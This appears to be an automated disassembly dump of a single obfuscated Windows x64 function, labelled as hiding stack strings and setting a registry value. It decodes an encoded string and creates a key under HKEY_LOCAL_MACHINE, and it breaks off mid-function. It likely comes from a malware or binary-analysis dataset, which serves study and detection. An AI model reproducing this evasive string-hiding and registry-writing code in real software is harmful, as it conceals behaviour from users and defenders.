Function at 0x140101d80
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x1401da800]
xor rax, rsp
mov qword [rbp + 0x58], rax
mov rsi, rdx
mov r14, rcx
mov dword [rsp + 0x60], 0x37353453
mov dword [rsp + 0x64], 0x58323c25
mov dword [rsp + 0x68], 0x3e2c2b29
mov dword [rsp + 0x6c], 0x2c512d22
mov dword [rsp + 0x70], 0x2824212e
mov dword [rsp + 0x74], 0xdbcb462c
mov dword [rsp + 0x78], 0xddcfbac0
mov dword [rsp + 0x7c], 0xc2c1c8da
mov word [rbp - 0x80], 0xc9d3
mov byte [rbp - 0x7e], 0x6a
xorps xmm0, xmm0
movups xmmword [rbp - 0x7d], xmm0
movups xmmword [rbp - 0x6d], xmm0
movabs r15, 0x1c603fc152dd0cb2
movabs r12, 0x97401fe73cdbb58e
movabs r13, 0x4b67b84ebb0fccba
movzx r11d, byte [rbp + 0x30]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rax, 0x25ec33cc40e5f46a
cmp rdi, 0x43
jae 0x140102a8b
movzx ebx, byte [rsp + rdi + 0x60]
movzx r10d, bl
nop
cmp r8, rdi
ja 0x140102a82
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140101e8c
lea rcx, [rdi + rax]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x1a
jmp 0x140101ee0
je 0x140102a08
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010297f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140102947
lea rax, [rcx + 1]
cmp r8, rax
je 0x14010291f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401028db
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401028b1
lea rax, [r9 + 6]
cmp r8, rax
je 0x140102884
movzx r10d, bl
cmp r9, rdi
ja 0x140102a79
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140101f12
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x140101f50
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010283a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140102817
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401027ef
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401027be
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14010248f
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140102471
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14010244a
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14010242b
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140102412
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1401023f6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401023d8
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1401023b5
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14010239c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140102375
lea rax, [r9 + 5]
cmp r8, rax
je 0x140101f60
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140102a59
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x140102a3e
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x14010214d
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x140102133
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x140102114
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x140102329
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1401022e2
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1401022a6
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x140102285
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x140101f60
lea r8, [r9 + 3]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14010226a
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14010224d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140102233
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140102215
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1401021f4
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1401021d9
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1401021ba
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140102198
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14010217a
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140101f60
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x200]
jmp 0x140101f60
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x140101f50
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
jmp 0x140101ee4
movabs rcx, 0xff8f50b63943e3e6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4a
movabs rax, 0x25ec33cc40e5f46a
jmp 0x140101e60
lea edx, [rdi - 0x70]
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14010285d
lea ecx, [rdi - 0x44]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
inc r9
dec rdi
inc rdi
jmp 0x140101e42
lea ecx, [rdi - 0x18]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
dec rdi
inc rdi
jmp 0x140101e42
lea edx, [rdi + 0x14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401028ff
lea edx, [rdi + 0x40]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x140102966
lea edx, [rdi + 0x6c]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140102966
lea edx, [rdi - 0x68]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
jmp 0x1401029a2
lea edx, [rdi - 0x3c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x1401029d0
lea edx, [rdi - 0x10]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140102a28
lea ecx, [rdi - 0x22]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x12
mov byte [rsp + rdi + 0x60], r11b
inc rdi
jmp 0x140101e42
lea edx, [rdi + 0xa]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x46
add r11b, dl
cmp r9, 0x41
jb 0x140102299
lea edx, [rdi + 0x3c]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x48]
jmp 0x14010285d
lea edx, [rdi + 0x36]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7a
add r11b, dl
cmp r8, 5
jae 0x14010277f
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x14010268e
lea edx, [rdi - 0xc]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401022bb
lea edx, [rdi + 0x62]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14010279c
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1401025c0
lea edx, [rdi + 0x42]
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1401022f7
lea ecx, [rdi + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101e42
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1401029d0
movzx r10d, dil
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401029a9
lea edx, [rdi - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140102966
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
add r8, r9
jmp 0x140102966
lea ecx, [rdi + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140102902
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
dec rdi
inc rdi
jmp 0x140101e42
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140101e42
lea edx, [rdi - 0x74]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14010285d
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1401024c0
movabs rcx, 0x25ec33cc40e5f46a
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_listen
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x140102342
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401024f5
lea edx, [rdi + 0x64]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101e42
inc rax
cmp r8, rax
jne 0x14010251b
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1401029d0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140102542
lea edx, [rdi - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140102902
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010256f
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140101e42
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010259a
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
inc r9
dec rdi
inc rdi
jmp 0x140101e42
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140102342
lea ecx, [rdi + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x14010285d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401025e7
lea edx, [rdi + 0x16]
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14010285d
inc rax
cmp r8, rax
jne 0x140102611
lea ecx, [rdi - 0x16]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x66
inc r9
dec rdi
inc rdi
jmp 0x140101e42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010263b
lea edx, [rdi + 0x66]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x140102966
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140102662
lea edx, [rdi + 0x3a]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140102966
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401022fa
movzx r10d, dil
lea edx, [r10 + 0xe]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x62
jmp 0x1401029a6
jne 0x1401026b7
lea ecx, [rdi - 0x38]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101e42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401026df
movzx r10d, dil
lea edx, [r10 + 0x70]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
jmp 0x1401029a6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140102709
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
jmp 0x140102966
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010272c
lea edx, [rdi - 0x14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
jmp 0x1401028ff
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140102754
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140101e42
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1401022be
lea edx, [rdi + 0x68]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14010285d
lea edx, [rdi + 0x10]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, bl
jmp 0x1401028ff
movzx r10d, dil
lea edx, [r10 - 0x1c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, bl
sub r11b, 0x3c
jmp 0x1401029a6
movabs rcx, 0xc6fbe41de3083c26
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xa
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101e42
movabs rcx, 0xe372ad545da481aa
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
jmp 0x140102966
movabs rcx, 0x4bc1de235a0cb002
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
jmp 0x140102902
movabs rcx, 0x6838a759d4a8f586
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, Ordinal_45
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
lea edx, [rdi - 0x5a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rsp + rdi + 0x60], cl
inc r9
dec rdi
inc rdi
jmp 0x140101e42
movabs rcx, 0x84af70904f453b0a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x46
inc r9
dec rdi
inc rdi
jmp 0x140101e42
movabs rcx, 0x38d708f7cd795236
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7a
dec rdi
inc rdi
jmp 0x140101e42
movabs rdx, 0xecfea15f4bad6962
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
movzx ebx, r10b
add r11b, dl
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x56
add cl, r11b
add cl, bl
mov byte [rsp + rdi + 0x60], cl
add r8, r9
jmp 0x140102966
movabs rdx, 0xa12639c6c9e1808e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x140102966
movabs rcx, 0x554dd22e481597ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x16
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140101e42
movabs rdx, 0x9756a95c649aee6
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4a
movzx ebx, r10b
movzx r10d, dil
add r11b, dl
add r10b, 0x4e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x22
add r10b, bl
movzx eax, r10b
mov byte [rsp + rdi + 0x60], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 8
add cl, bl
mov byte [rsp + rdi + 0x60], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101e42
movabs rdx, 0x71c49b64c2b1dd3e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rsp + rdi + 0x60]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140101e42
add dil, 0x12
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x7e
jmp 0x140101e3e
add dil, 0x3e
movzx eax, bl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x140101e28
lea rbx, [rbp + 0x1403698]
jmp 0x140102a90
lea rbx, [rbp + 0x662b02]
jmp 0x140102a90
lea rbx, [rsp + 0x60]
movzx edx, byte [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x140102aa5
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.140004460
nop
mov rdx, rsi
lea rcx, [rbp + 0x38]
call fcn.1400030f0
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rdx, qword [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140104ff5
mov byte [rbp + 0x31], 1
mov dword [rbp], 0x16223804
mov byte [rbp + 4], 0xb4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 5], xmm0
mov qword [rbp + 0x15], rax
mov dword [rbp + 0x1d], eax
mov word [rbp + 0x21], ax
movabs r15, 0x78ec84f05a0d96c8
movabs r12, 0x4050ac732a7a4d08
movabs r13, 0x6ac58ed10e28c458
movzx r11d, byte [rbp + 0x30]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x1401035b6
movzx ebx, byte [rbp + rdi]
mov esi, ebx
cmp r8, rdi
ja 0x1401035ad
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140102b8f
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rsi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rsi
sub r11b, 0x78
jmp 0x140102bc9
je 0x140103544
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401034bf
lea rax, [r9 + 3]
cmp r8, rax
je 0x140103491
lea rax, [r9 + 5]
cmp r8, rax
je 0x140103455
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010340e
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1401035a4
lea rax, [r9 + 2]
cmp r8, rax
jae 0x140102bfe
lea edx, [r10 + 0x68]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140102c32
lea rax, [r9 + 1]
cmp r8, rax
je 0x140103403
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401033e0
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401033c4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010339a
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140103138
nop
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010312a
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140103105
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1401030e3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401031e6
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1401030c4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1401030a8
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14010308e
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140103072
lea rax, [r9 + 8]
cmp r8, rax
je 0x140103048
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140102c40
mov r8, rax
lea r9, [rax + 5]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140103588
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14010356c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140102e28
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140102e0e
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140102df4
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140102ffc
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140102fb9
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140102f7a
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140102f52
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140102c40
mov r8, rax
lea r9, [rax + 6]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140102f28
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140102f0c
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140102ef2
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140102ed6
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140102ec0
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140102ea1
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140102e7b
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140102e52
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140102e44
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140102c40
mov r8, rax
lea r9, [rax + 8]
jmp 0x140102c40
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140102c32
lea ecx, [r10 + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x140102bd0
add r10b, 0x78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x48
jmp 0x140102b63
lea edx, [r10 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010341b
sub r10b, 0x50
movzx eax, r10b
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140102b52
add r10b, 0x20
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x140102b52
lea edx, [r10 - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14010346e
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r8, r9
jmp 0x1401034a6
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
jmp 0x1401034a6
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1401034e1
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
jmp 0x140103508
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140102b52
sub r10b, 0x28
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi], r11b
inc rdi
jmp 0x140102b52
lea edx, [r10 + 0x48]
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x64
jb 0x140102f6d
lea ecx, [r10 - 0x50]
movzx eax, cl
and al, bl
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14010342c
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
cmp r8, 0x42
jae 0x140103361
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1401032b9
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x140102f94
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x14010337e
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140103252
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140102fce
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rdi]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140102b52
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
jmp 0x140103508
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1401034e1
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
jmp 0x1401034a6
add r10b, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
add r8, r9
jmp 0x1401034a6
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
dec rdi
inc rdi
jmp 0x140102b52
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x140102b52
lea edx, [r10 - 0x10]
mov ecx, gethostname
jmp 0x14010341b
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x14010315b
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x140103011
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140103192
sub r10b, 0x30
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
